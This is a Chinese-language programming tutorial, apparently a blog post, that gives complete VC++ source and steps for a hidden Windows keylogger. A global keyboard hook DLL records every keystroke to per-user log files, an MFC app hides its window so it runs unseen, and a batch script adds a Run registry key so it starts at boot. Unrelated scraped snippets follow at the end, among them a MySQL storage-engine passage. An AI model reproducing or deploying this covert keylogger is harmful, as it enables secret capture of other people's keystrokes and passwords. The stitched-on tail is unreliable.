VC++开发Windows系统全局钩子

本文的大部分内容属于对一篇网文的实践与练习,同时参考的还有一本书,在此向网文与书的作者表示敬意。

这个程序是一个windows系统键盘监控程序,随着开机自动启动,可以监控系统中各用户的键盘,并将按键记录写在指定的log文件里。

程序分为两个部分:全局钩子DLL和一个隐藏的单文档应用程序。

  • 全局钩子DLL

创建基于“MFC AppWizard(dll)”的“扩展MFC DLL(Extension MFC DLL)”类型工程KeyBoardHook

在自动生成的源文件KeyBoardHook.cpp中,

定义全局变量:

#pragma data_seg("publicdata")
HHOOK hhook = NULL;
HINSTANCE pinstance = NULL;
#pragma data_seg()

在DLL入口函数中,添加获取钩子实例句柄的代码:

extern "C" int APIENTRY
DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
    // Remove this if you use lpReserved
    UNREFERENCED_PARAMETER(lpReserved);

    if (dwReason == DLL_PROCESS_ATTACH)
    {
        TRACE0("KEYBOARDHOOK.DLL Initializing!\n");

        // Extension DLL one-time initialization
        if (!AfxInitExtensionModule(KeyBoardHookDLL, hInstance))
            return 0;

        new CDynLinkLibrary(KeyBoardHookDLL);
        pinstance = hInstance; //获取钩子实例句柄
    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {
        TRACE0("KEYBOARDHOOK.DLL Terminating!\n");
        // Terminate the library before destructors are called
        AfxTermExtensionModule(KeyBoardHookDLL);
    }
    return 1;   // ok
}

全局钩子的具体实现代码:

//保存日志文件
extern "C" void SaveLog(char* c)
{
    //printf("刚才点击的是%c键/n", &c);
    //char buffer[80];
    //wsprintf(buffer, "c的值是%c", c);
    //AfxMessageBox(buffer);
    const int MAX_BUFFER_LEN = 500;
    char  szBuffer[MAX_BUFFER_LEN];
    DWORD dwNameLen;  

    dwNameLen = MAX_BUFFER_LEN;
    GetUserName(szBuffer, &dwNameLen);

    CTime tm=CTime::GetCurrentTime();
    CString name;
    name.Format("c:\\keyboard\\Key_%s_%d_%d.log", szBuffer, tm.GetMonth(),tm.GetDay());
    CFile file;
    if(!file.Open(name,CFile::modeReadWrite))
    {
        file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
    }
    file.SeekToEnd();
    file.Write(c,1);
    file.Close();
}

//键盘钩子回调函数
extern "C" LRESULT CALLBACK KeyboardPro(int nCode , WPARAM wParam, LPARAM  lParam)
{
    LRESULT Result=CallNextHookEx(hhook,nCode,wParam,lParam);
//AfxMessageBox("huidiao");
    if(nCode == HC_ACTION){
        if(lParam & 0x80000000){
            char c[1];
            c[0]=wParam;
    //AfxMessageBox(c);
            SaveLog(c);
        }
    }

    return Result;
}

//安装钩子,即创建了钩子WH_KEYBOARD到钩子处理函数KeyboardPro()的链接
extern "C" bool WINAPI InstallHook()
{
//    AfxMessageBox("anzhuang");
    hhook = (HHOOK)SetWindowsHookEx( WH_KEYBOARD, KeyboardPro, pinstance, 0);
    if(hhook != NULL)
        return true;
    else
        return false;
}

用def文件导出DLL函数,在KeyBoardHook.def中添加:

EXPORTS
    ; Explicit exports can go here
    InstallHook        @1        //dll导出函数的名称为InstallHook,序号为1

至此,编译并运行,程序的DLL部分便完成了。

  • 负责调用DLL的单文档应用程序

创建一个MFC单文档应用程序工程KeyBoardHookApp,将刚才DLL工程中编译好的KeyBoardHook.dll和KeyBoardHook.lib拷贝到KeyBoardHookApp工程的Debug目录中。

设置连接文件:在 工程->设置->连接 的“对象/库模块 ”中填写KeyBoardHook.lib

在头文件KeyBoardHookApp.h中添加导出函数声明,以满足在此应用中调用DLL中的函数:

//安装钩子函数
extern "C" bool WINAPI InstallHook();

在视类KeyBoardHookAppView.cpp中重载虚函数OnInitialUpdate(),并添加代码完成对键盘钩子的安装:

具体操作可以利用VC++类向导自动生成代码:ctrl+w建立类向导,然后在class name中选择带...View的视类,选择类本身的Object ID,在Message中选择OnInitialUpdate,双击Member functions添加代码。

void CKeyBoardHookAppView::OnInitialUpdate()
{
    CView::OnInitialUpdate();

    // TODO: Add your specialized code here and/or call the base class
    InstallHook();
}

最后,将本单文档应用程序的窗口进行隐藏,使之成为一个后台监控程序:

在KeyBoardHookApp.cpp的InitInstance()函数中将m_pMainWnd->ShowWindow(SW_SHOW)改为m_pMainWnd->ShowWindow(SW_HIDE)即可。

  • 设置本程序随开机自启动

使用bat批处理来制作安装和卸载

md C:\keyboard
@reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v KeyboardHook /t REG_SZ /d D:\keyboardhook\KeyBoardHookApp.exe
@reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v KeyboardHook /f

以管理员身份运行“安装.bat”  ,程序在系统重启后生效。日志文件放在C:\keyboard目录下。

参考:

《精通Windows程序设计——基于Visual C++实现》   人民邮电出版社

《利用键盘钩子捕获Windows键盘动作》    http://www.yesky.com/328/1890328.shtml

时间: 2024-11-05 18:37:36

VC++开发Windows系统全局钩子的相关文章

钩子编程(HOOK) 安装系统全局钩子

MySQL使用的是插件式存储引擎. 主要包括存储引擎有:MyISAM,Innodb,NDB Cluster,Maria,Falcon,Memory,Archive,Merge,Federated. 其中最为广泛的是MyISAM 和Innodb两种存储引擎,所以接下来对它们做简单介绍. MyISAM 存储引擎简介 MyISAM 存储引擎的表存储在数据库中,每一个表都被存放为三个以表名命名的物理文件. 1.(.frm文件)任何存储引擎都不可缺少的存放表结构定义信息的文件 2.(.MYD文件)存放表数

VC开发Windows客户端软件之旅——前言

从第一次拖着行李入京找活,至今已工作若干年了.这些年一直追逐自己的梦想,跑过三个城市,换了三份工作,认识了很多业内的朋友.和朋友们闲聊时,发现很多人都已经不再做客户端软件了.有的转去做管理,有的转去做IOS,有的转去做安卓,有的转去做投资,"坚守"的人真的不多.曾经朋友开玩笑,说我们都是抱着微软的大腿,如果微软倒了,我们就失业了.我们说这句话时,多半是抱着戏谑的态度.时过境迁,随着移动互联网的兴起,PC的没落是难免的.相应的PC客户端没落,从业人数减少,现在想招一个合格的windows

【旧文章搬运】Windows中全局钩子DLL的加载过程

原文发表于百度空间,2011-03-24========================================================================== 看雪上别人问的一个问题,顺便在此记录下吧~~ kd> kvn # ChildEBP RetAddr Args to Child 00 0012f7b8 77d2dbfb 0012f81c 00000000 00000008 kernel32!LoadLibraryExW+0x2 (FPO: [Non-Fpo]

windows系统下跨平台开发环境的搭建(cordova)+创建一个android项目

目的:在windows系统下,搭建跨平台的开发环境(cordova)创建一个安卓项目 前提:安装有java Jdk 1.8以上 Android SDK 23以上 1.安装node.js ,选择对应的版本下载安装,没什么好说的 官方网址:http://nodejs.cn/ 2.测试安装是否成功 win+r 键,打开运行窗口,输入cmd,然后确定,打开命令行窗口 输入node  -v 输出版本号,说明node.js安装成功,否则请查找原因,或者重新安装 输入npm -v 输出版本号说明npm可以使用

Windows系统下Android开发环境搭建

“工具善其事,必先利其器”.要想学好Android,搭建好Android开发环境是一个良好的开端. Windows系统下Android开发环境主要有4个大的步骤.分别是: 1.JDK的安装 2.eclipse的安装 3.Android SDK 的安装 4.Android ADT插件的安装 ---------------------------------------------------------------------------------------------------------

在Windows系统中安装集成的PHP开发环境

原文:在Windows系统中安装集成的PHP开发环境 刚想学php的,又不会配置复杂php的环境,可以使用集成的,目前网上提供常用的PHP集成环境主要有AppServ.phpStudy.WAMP和XAMPP等软件,这些软件之间的差别不大.每种集成包都有多个不同的版本,可以下载版本比较高的任意一个集成软件安装使用. 我用的是appserv-win32-2.5.10.exe下载地址:http://www.appservnetwork.com/index.php?newlang=chinese App

windows客户端开发--获取windows系统中文件的MIME

首先,什么是MIME,是不是文件的后缀名呢? 当然不是. 有时候我们需要获取某个文件的后缀名,这也许对你来说太小case了,你可能不加思考的写了一个函数,更加文件名字符串查找最后一个'.',然后取最有一个'.'之后的字符串,即为我们要得到的后缀名. 看似非常完美,但确实漏洞百出. 如果我的文件没有后缀名怎么办? 如果我的一张png图片,我强制把后缀名改为jpg怎么办? 这样你根据文件名字方法就不能获得百分百正确的后缀名. 所以,就该MIME出场了! 何为MIME? MIME (Multipurp

Windows系统下Vue开发环境搭建详解版

?记在前面 之前学js也踩过很多坑,第一次用博客记录这些过程,一方面自己以后能够回顾,另一方面也希望能帮助跟我自己一样遇到同样问题的朋友 ps:不会的就去搜,去问,千万不要觉着遇到难点了,暂时走不下去了,就放弃!!!大家一起学习进步~~~ 在慕课网上跟着这个视频学习搭建的:https://www.imooc.com/video/12299 一.首先是windows系统,需要安装node.js和git 1.node.js:https://nodejs.org/zh-cn/    下载哪一个都可以(

Windows系统下nodejs安装及配置

关于nodejs中文站,眼下活跃度最好的知识站应该是http://www.cnodejs.org/ ,而http://cnodejs.org/则活跃度较低.Express.js是nodejs的一个MVC开发框架,而且支持jade等多种模板,是Node.js上最流行的Web开发框架.这几天刚接触PhoneGap,曾经也看了一些nodejs的基础但苦于时间有限一直没机会亲自搭建一个nodejs环境,今天周末,部署了PhoneGap到Android,顺便一同搭建了一下nodejs本地环境,自己的操作过